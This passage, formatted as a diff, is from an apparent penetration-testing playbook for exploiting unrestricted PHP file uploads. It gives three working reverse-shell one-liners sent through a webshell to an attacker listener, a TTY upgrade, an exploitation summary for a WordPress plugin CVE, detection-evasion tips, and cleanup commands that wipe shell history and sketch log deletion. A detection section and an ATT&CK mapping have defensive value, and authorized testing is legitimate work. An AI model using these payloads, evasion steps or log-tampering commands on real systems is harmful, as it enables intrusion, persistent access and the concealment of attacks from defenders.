LHOST=YOUR_IP
|
|
290
|
+
LPORT=4444
|
|
291
|
+
SHELL_URL="http://TARGET/path/shell.php"
|
|
292
|
+
|
|
293
|
+
curl -s "$SHELL_URL" --data-urlencode \
|
|
294
|
+
"cmd=rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $LHOST $LPORT > /tmp/f"
|
|
295
|
+
```
|
|
296
|
+
|
|
297
|
+
Option B — bash TCP redirect:
|
|
298
|
+
```bash
|
|
299
|
+
curl -s "$SHELL_URL" --data-urlencode \
|
|
300
|
+
"cmd=bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
Option C — Python (if bash is restricted):
|
|
304
|
+
```bash
|
|
305
|
+
curl -s "$SHELL_URL" --data-urlencode \
|
|
306
|
+
"cmd=python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect((\"$LHOST\",$LPORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call([\"/bin/sh\",\"-i\"])'"
|
|
307
|
+
```
|
|
308
|
+
|
|
309
|
+
**Upgrade to fully interactive TTY (on the reverse shell):**
|
|
310
|
+
```bash
|
|
311
|
+
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|
312
|
+
# Press Ctrl+Z to background
|
|
313
|
+
stty raw -echo; fg
|
|
314
|
+
# Press Enter twice
|
|
315
|
+
export TERM=xterm
|
|
316
|
+
stty rows 40 cols 170
|
|
317
|
+
```
|
|
318
|
+
|
|
319
|
+
Expected output after upgrade:
|
|
320
|
+
```
|
|
321
|
+
www-data@target:/var/www/html$
|
|
322
|
+
```
|
|
323
|
+
|
|
324
|
+
Fallback: If netcat is not on the target and outbound TCP is filtered, try:
|
|
325
|
+
- Port 80/443 for egress (use `ncat -lvnp 443` on attacker)
|
|
326
|
+
- PowerShell reverse shell if Windows IIS
|
|
327
|
+
- curl-based polling shell using a web intermediary
|
|
328
|
+
|
|
329
|
+
---
|
|
330
|
+
|
|
331
|
+
## Real-World Reference
|
|
332
|
+
|
|
333
|
+
### CVE-2024-3673 — Popup Builder Plugin (WordPress)
|
|
334
|
+
|
|
335
|
+
**Plugin:** Popup Builder by Sygnoos (versions <= 4.2.3)
|
|
336
|
+
**Severity:** CVSS 9.8 (Critical)
|
|
337
|
+
**Authentication:** None required
|
|
338
|
+
**Affected installations:** 200,000+ active WordPress sites at time of disclosure
|
|
339
|
+
|
|
340
|
+
**Vulnerability:** The `sgpb_subscribe_form_import_data` AJAX action accepted arbitrary file uploads without authentication and without validating the file extension or content. An attacker could POST a `.php` file disguised as a CSV import, and the server would store it in the WordPress uploads directory with its original extension intact.
|
|
341
|
+
|
|
342
|
+
**Exploitation summary:**
|
|
343
|
+
1. Send unauthenticated POST to `/wp-admin/admin-ajax.php` with `action=sgpb_subscribe_form_import_data`
|
|
344
|
+
2. Attach `shell.php` with `Content-Type: text/csv`
|
|
345
|
+
3. Server saves `shell.php` to `/wp-content/uploads/YYYY/MM/`
|
|
346
|
+
4. Access `shell.php?cmd=id` to confirm RCE
|
|
347
|
+
5. Escalate to reverse shell
|
|
348
|
+
|
|
349
|
+
**Patch:** Version 4.2.7 added authentication checks and extension whitelisting.
|
|
350
|
+
|
|
351
|
+
**References:**
|
|
352
|
+
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3673
|
|
353
|
+
- WPScan: https://wpscan.com/vulnerability/CVE-2024-3673
|
|
354
|
+
|
|
355
|
+
---
|
|
356
|
+
|
|
357
|
+
## MITRE ATT&CK Mapping
|
|
358
|
+
|
|
359
|
+
| Step | Tactic | Technique | Sub-technique | Description |
|
|
360
|
+
|------|--------|-----------|---------------|-------------|
|
|
361
|
+
| 1 — Discover endpoint | Reconnaissance | T1595 | T1595.003 — Wordlist Scanning | Brute-force directories to locate upload feature |
|
|
362
|
+
| 2 — Craft payload | Resource Development | T1587 | T1587.001 — Malware: Webshell | Author PHP webshell for deployment |
|
|
363
|
+
| 3 — Bypass validation | Defense Evasion | T1036 | T1036.008 — Masquerading: Invalid Signature | Rename/double-extend file to evade extension checks |
|
|
364
|
+
| 4 — Upload webshell | Initial Access | T1190 | — Exploit Public-Facing Application | Upload PHP file through vulnerable endpoint |
|
|
365
|
+
| 5 — Execute via webshell | Execution | T1059 | T1059.004 — Unix Shell | Send OS commands through HTTP to webshell |
|
|
366
|
+
| 6 — Reverse shell | Execution | T1059 | T1059.001 — PowerShell / Unix Shell | Spawn interactive reverse shell over TCP |
|
|
367
|
+
| 6 — Persistence (optional) | Persistence | T1505 | T1505.003 — Web Shell | Webshell itself serves as persistent access mechanism |
|
|
368
|
+
| 6 — C2 channel | Command and Control | T1571 | T1571.001 — Non-Standard Port | Reverse shell over attacker-chosen port (e.g., 4444) |
|
|
369
|
+
|
|
370
|
+
---
|
|
371
|
+
|
|
372
|
+
## Detection and OPSEC
|
|
373
|
+
|
|
374
|
+
### How This Attack Is Detected
|
|
375
|
+
|
|
376
|
+
**Signature-based:**
|
|
377
|
+
- WAF/IDS rules matching `<?php`, `shell_exec`, `system(`, `passthru(` in uploaded content
|
|
378
|
+
- File extension mismatch alerts (`.php` uploaded to image endpoint)
|
|
379
|
+
- YARA rules on web-accessible directories scanning for webshell patterns
|
|
380
|
+
|
|
381
|
+
**Behavioral:**
|
|
382
|
+
- Web server spawning child processes (`sh`, `bash`, `nc`) — anomalous parent/child relationship
|
|
383
|
+
- Outbound TCP connection from web server process (www-data → attacker IP)
|
|
384
|
+
- Unusual file creation in `/var/www` or WordPress `uploads/` directory
|
|
385
|
+
- High-entropy or short PHP files in upload directories
|
|
386
|
+
|
|
387
|
+
**Log-based:**
|
|
388
|
+
- Apache/Nginx access logs: POST to upload endpoint followed by GET requests to newly created `.php` file
|
|
389
|
+
- Auth logs: new processes running as `www-data`
|
|
390
|
+
- Network logs: new outbound connections on non-standard ports from web server
|
|
391
|
+
|
|
392
|
+
### Reducing Detection Risk During Authorized Engagement
|
|
393
|
+
|
|
394
|
+
- Use HTTPS to encrypt upload and webshell traffic (avoids content inspection)
|
|
395
|
+
- Compress or encode the webshell payload (base64 decode on server side)
|
|
396
|
+
- Use port 443 or 80 for the reverse shell listener to blend with expected egress
|
|
397
|
+
- Avoid running noisy commands (`nmap`, `find /`, mass file reads) through the webshell
|
|
398
|
+
- Limit webshell access to one request per objective — do not poll repeatedly
|
|
399
|
+
- Remove the webshell immediately after establishing the reverse shell
|
|
400
|
+
- Use a memory-resident payload after initial access instead of leaving files on disk
|
|
401
|
+
|
|
402
|
+
### Artifacts Left Behind (for Cleanup Reference)
|
|
403
|
+
|
|
404
|
+
| Artifact | Location | Type |
|
|
405
|
+
|----------|----------|------|
|
|
406
|
+
| PHP webshell file | `/var/www/html/...uploads.../shell.php` | File |
|
|
407
|
+
| FIFO pipe | `/tmp/f` | File |
|
|
408
|
+
| Apache/Nginx access log entries | `/var/log/apache2/access.log` or `/var/log/nginx/access.log` | Log |
|
|
409
|
+
| Auth/syslog entries | `/var/log/auth.log`, `/var/log/syslog` | Log |
|
|
410
|
+
| Shell history | `~/.bash_history` (www-data home) | File |
|
|
411
|
+
| `/tmp` artifacts | `/tmp/shell*`, `/tmp/f` | Files |
|
|
412
|
+
|
|
413
|
+
---
|
|
414
|
+
|
|
415
|
+
## Cleanup
|
|
416
|
+
|
|
417
|
+
Execute these steps through the established reverse shell or webshell before terminating the session.
|
|
418
|
+
|
|
419
|
+
```bash
|
|
420
|
+
# 1. Remove the webshell (substitute actual path)
|
|
421
|
+
WEBSHELL_PATH="/var/www/html/wp-content/uploads/$(date +%Y/%m)/shell.php"
|
|
422
|
+
rm -f "$WEBSHELL_PATH"
|
|
423
|
+
|
|
424
|
+
# 2. Remove FIFO and tmp artifacts
|
|
425
|
+
rm -f /tmp/f /tmp/shell* /tmp/f2
|
|
426
|
+
|
|
427
|
+
# 3. Clear bash history for www-data
|
|
428
|
+
cat /dev/null > ~/.bash_history
|
|
429
|
+
history -c
|
|
430
|
+
|
|
431
|
+
# 4. Verify removal
|
|
432
|
+
ls -la "$WEBSHELL_PATH" 2>&1 # Should return: No such file or directory
|
|
433
|
+
ls /tmp/ # Should show no shell artifacts
|
|
434
|
+
|
|
435
|
+
# 5. Note: Log entries CANNOT be fully removed without root access.
|
|
436
|
+
# With root, truncate logs carefully:
|
|
437
|
+
# sudo sed -i '/shell\.php/d' /var/log/apache2/access.log
|
|
438
|
+
# (Only perform log manipulation if explicitly authorized in the engagement scope.)
|
|
439
|
+
```
|
|
440
|
+
|
|
441
|
+
Note for authorized engagements: Confirm with the client's rules of engagement whether log artifact removal is in scope. Many engagements require artifacts to be preserved for the client's incident response team to validate detection capabilities.
|
|
442
|
+
|
|
443
|
+
---
|
|
444
|
+
|
|
445
|
+
## References
|
|
446
|
+
|
|
447
|
+
### Tools
|
|
448
|
+
|
|
449
|
+
| Tool | Purpose | URL |
|
|
450
|
+
|------|---------|-----|
|
|
451
|
+
| ffuf | Fast web fuzzer for endpoint discovery | https://github.com/ffuf/ffuf |
|
|
452
|
+
| gobuster | Directory/file brute-forcer | https://github.com/OJ/gobuster |
|
|
453
|
+
| Burp Suite | HTTP proxy for intercepting and modifying requests | https://portswigger.net/burp |
|
|
454
|
+
| ncat | Flexible netcat with SSL support | https://nmap.org/ncat/ |
|
|
455
|
+
| wfuzz | Web application fuzzer | https://github.com/xmendez/wfuzz |
|
|
456
|
+
| weevely | PHP webshell manager with encrypted channel | https://github.com/epinna/weevely3 |
|
|
457
|
+
| p0wny-shell | Feature-rich PHP webshell | https://github.com/flozz/p0wny-shell |
|
|
458
|
+
|
|
459
|
+
### Wordlists
|
|
460
|
+
|
|
461
|
+
| List | Path (Kali/Parrot) |
|
|
462
|
+
|------|-------------------|
|
|
463
|
+
| Common directories | `/usr/share/wordlists/dirb/common.txt` |
|
|
464
|
+
| SecLists web content | `/usr/share/seclists/Discovery/Web-Content/` |
|
|
465
|
+
| PHP extensions | `/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt` |
|
|
466
|
+
|
|
467
|
+
### CVE and Vulnerability References
|
|
468
|
+
|
|
469
|
+
- CVE-2024-3673 (Popup Builder): https://nvd.nist.gov/vuln/detail/CVE-2024-3673
|
|
470
|
+
- CVE-2020-28949 (Archive_Tar file upload): https://nvd.nist.gov/vuln/detail/CVE-2020-28949
|
|
471
|
+
- OWASP Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
|
|
472
|
+
- HackTricks File Upload: https://book.hacktricks.xyz/pentesting-web/file-upload
|
|
473
|
+
|
|
474
|
+
### MITRE ATT&CK
|
|
475
|
+
|
|
476
|
+
- T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
|
|
477
|
+
- T1059.004 Unix Shell: https://attack.mitre.org/techniques/T1059/004/
|
|
478
|
+
- T1059.001 PowerShell: https://attack.mitre.org/techniques/T1059/001/
|
|
479
|
+
- T1505.003 Web Shell: https://attack.mitre.org/techniques/T1505/003/
|